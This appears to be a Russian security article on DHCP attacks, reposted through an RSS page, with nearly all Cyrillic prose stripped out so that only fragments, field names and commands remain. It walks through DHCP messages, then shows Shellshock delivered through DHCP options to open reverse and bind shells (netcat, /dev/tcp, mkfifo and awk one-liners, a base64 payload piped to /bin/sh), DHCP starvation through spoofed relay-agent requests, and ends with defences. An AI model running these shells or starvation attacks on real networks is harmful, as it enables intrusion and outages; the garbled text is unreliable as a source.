-

   rss_rss_hh_new

 - e-mail

 

 -

 LiveInternet.ru:
: 17.03.2011
:
:
: 51

:


DHCP

, 25 2017 . 09:00 +

LOGO


, ShellShock DHCP reverse bind shell. , shellshock DHCP-. , reverse shell DHCP-. , shell . , , , , , , reverse bind shell DHCP-. , , DHCP.


DHCP IP-, , DNS- .. UDP, , , : MAC- , IP- , , .


DHCP, , :


  1. DHCPDISCOVER DHCP- , , , , :
    SRC IP: 0.0.0.0, DST IP: 255.255.255.255.
    :
    SRC PORT: 68, DST PORT: 67
    , :
    SRC PORT: 67, DST PORT: 68
    UDP . DHCP-, , UDP checksum . ( op ) 001 (BOOTREQUEST ). , , RFC WIKI. xid (Transaction ID 4 004 ). xid xid , , , . DHCP- . 256, . 53 (DHCP message type DHCP ) 001, , DHCP-, 55 (Parameter Request List , , , DNS- ..).
    WireShark:
    DHCPDISCOVER


  2. DHCPOFFER . SRC IP IP-, DST IP : 255.255.255.255, . DST IP IP-, , IP- , . , , IP-? : DHCPDISCOVER- DHCPREQUEST-, chaddr (lient MAC address) MAC-. , , , , , UDP . 002 (BOOTREPLY ). xid , xid . yiaddr (Your (client) IP address) IP- , . DHCP-: 53 (DHCP message type) 002 (DHCPOFFER), 51 (IP Address Lease Time) IP-, 54 (Server Identifier) IP- DHCP-. , , DHCPDISCOVER- 55 (Parameter Request List).
    DHCPOFFER


  3. DHCPREQUEST . : SRC IP: 0.0.0.0 DST IP: 255.255.255.255 : SRC IP IP-, ( yiaddr), DST IP IP-, 54 (Server Identifier). DHCP- DHCPDISCOVER-, 53 (DHCP message type DHCP ), 003 , DHCP-. 54 (Server Identifier), IP- , 50 (Requested IP address). , 12(Host Name Option ) ..
    DHCPREQUEST


  4. DHCPACK . : SRC IP: DST IP: 255.255.255.255. DHCPOFFER, 53 (DHCP message type DHCP-), 005 , DHCP-.
    DHCPACK

, ARP IP- (Address Conflict Detection). , DHCPACK . , DHCP DHCPDECLINE, IP- .


DHCP : DHCPDISCOVER, DHCPREQUEST; DHCP- 50 (Requested IP address) IP-, .


DHCPDECLINE . :


  1. DHCPREQUEST, . Transaction ID: 0x825b824a; Requested IP: 192.168.1.171; Client MAC address: 08:00:27:ce:7a:64
    DHCPREQUEST before DHCPDECLINE


  2. DHCPACK.
    Transaction ID: 0x825b824a; yiaddr: 192.168.1.171; siaddr: 192.168.1.1; router: 192.168.1.1
    DHCPACK before DHCPDECLINE


  3. ARP MAC- , , ARP, IP- (Address Conflict Detection). :
    sender mac: 08:00:27:ce:7a:64; sender ip: 0.0.0.0; target mac: 00:00:00:00:00:00; target ip: 192.168.1.171
    Address conflict detection


  4. IP- 192.168.1.171 ARP-.
    ARP reply


  5. IP- DHCPDECLINE.
    Transaction ID: 0x825b824a; Requested IP: 192.168.1.171; ciaddr: 192.168.1.171
    DHCPDECLINE


  6. IP- , Transaction ID: 0x713a0fe7. 89, 101, 106, 136 151? , , IP- 192.168.1.172 DHCP- ARP ( 89, 101, 106: Who has 192.168.1.172? Tell 192.168.1.1) , IP- 192.168.1.172 , DHCPOFFER. IP- ( 136, 151: Who has 192.168.1.172? Tell 0.0.0.0).
    Retrieving IP address again

, , , DHCPREQUEST-, Requested IP , . DHCP- IP-, , ? DHCPNAK. :


  1. DHCPREQUEST.
    Transaction ID: 0xa7ddc5cb; Requested IP: 192.168.1.14
    DHCPREQUEST before DHCPNAK


  2. , IP-, , , , DHCPNAK.
    Transaction ID: 0xa7ddc5cb; Message: address not available
    DHCPNAK


  3. IP- , Transaction ID: 0xcfbf77a9.
    Retrieving IP address again

shellshock


, shellshock, , , . , shell DHCP, , DHCP-.


?


: ! DHCP-, ( NetworkManager CentOS 6.5): 14, 18, 43, 56, 60, 61, 62, 63, 64, 66, 67, 77, 80, 82, 83, 84, 86, 87, 90, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 113, 114, 115, 116, 117, 120, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 250, 251, 253.


PoC DHCP- 114 (URL). ? , ( 256 ), , . . , shellshock :)


?


: , !


  1. 256
  2. : , . DHCP. , : "';&|
  3. , IPv4- , IPv6 link-local-, IPv6
  4. ,

?


: !
. :


/bin/sh <(/usr/bin/base64 -d <<< Base64String)

/bin/sh /usr/bin/base64, Base64String. , 34 , Base64String 222 .


Base64String? , IP- :


/bin/ip addr add / dev eth0;

: , IP-. , Linux, shellshock, eth0, . reverse shell bind shell.


reverse shell shell nc:


nc -e /bin/sh   2>&1 &
rm /tmp/f 2>/dev/null;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc   >/tmp/f &

reverse shell :


/bin/bash -i >& /dev/tcp// 0>&1

bind shell /cmd/unix/bind_awk Metasploit, :


awk 'BEGIN{s="/inet/tcp//0/0";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}' &

PoC


:


  1. CentOS 6.5


  2. Debian 7.5.0


  3. Ubuntu 14.04

DHCP


DHCP RCE , , -, DHCP- , , -, shellshock, . DHCP MITM.


, DHCP-. , . , .


: , IP- , ( DHCP starvation). , DHCPDISCOVER, DHCPOFFER. , DHCPREQUEST , . IP- , IP .


, .


DHCPDISCOVER-:
Before load test realtime graphs
Before load test processes


, load average 0.1 0.3, dnsmasq 0% CPU.


, DHCP- DHCPDISCOVER-:
During load test realtime graphs
During load test processes
During load test DHPC clients


Load average 1.96, DHCPDISCOVER, dnsmasq 64% CPU, DHCP .


, , IP- . DHCPDISCOVER, , DHCP-, . , .


DHCP :


Value Message_Type
1 DHCPDISCOVER
2 DHCPOFFER
3 DHCPREQUEST
4 DHCPDECLINE
5 DHCPACK
6 DHCPNAK
7 DHCPRELEASE
8 DHCPINFORM

, : (DHCPRELEASE) (DHCPINFORM). .


IP-. DHCPRELEASE , . , .


DHCPINFORM , IP- . , , Windows :(. DHCPACK IP-. rfc. , DHCPACK , DNS, .. DHCP , .


DHCP starvation & DHCP relay agent


DHCP starvation IP-. , , DHCPDISCOVER DHCPREQUEST MAC-, DHCP- IP-, . , IP- , DHCP- DHCPACK. , DHCP relay agent.


:


  1. enp0s3 MAC-: 08:00:27:6a:82:5f IP-: 192.168.1.2. DHCP- Dnsmasq/2.73 OpenWrt Chaos Calmer 15.05.1 IP-: 192.168.1.1
    Before send
    DHCP relay script help


  2. :
    Send DHCP requests 1
    Send DHCP requests 2

, IP-, DHCP- IP- DHCP- 12 . DHCP- , !


:


  1. DHCPDISCOVER-, DHCP relay agent. giaddr (Relay agent IP) IP- 192.168.1.2, chaddr (Client MAC address) MAC 00:19:bb:f5:e7:a8, SRC MAC MAC-.
    DHCPDISCOVER


  2. DHCPOFFER (), MAC- 00:19:bb:f5:e7:a8 IP- 192.168.1.232
    DHCPOFFER


  3. DHCPOFFER, DHCPREQUEST-, DHCP- 50 (Requested IP address) IP- 192.168.1.232, 12 (Host Name Option) . : xid (Transaction ID) chaddr (Client MAC address) DHCPREQUEST DHCPDISCOVER , , , , .
    DHCPREQUEST


  4. DHCPACK. IP- 192.168.1.232 MAC- 00:19:bb:f5:e7:a8 12 ( ).
    DHCPACK


:


  1. DHCP snooping , DHCP. , DHCP- ;


  2. Port security , MAC- , . , MAC- ;


  3. DHCPDISCOVER DHCPREQUEST MAC- / IP-;


  4. . , DHCP- 100-200 , DHCP starvation . : DHCP- DHCP-, DHCP- DHCP-. , - DHCP-;


  5. IDS, IPS, SIEM Zabbix;


  6. . :)
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/333978/

:  

: [1] []
 

:
: 

: ( )

:

  URL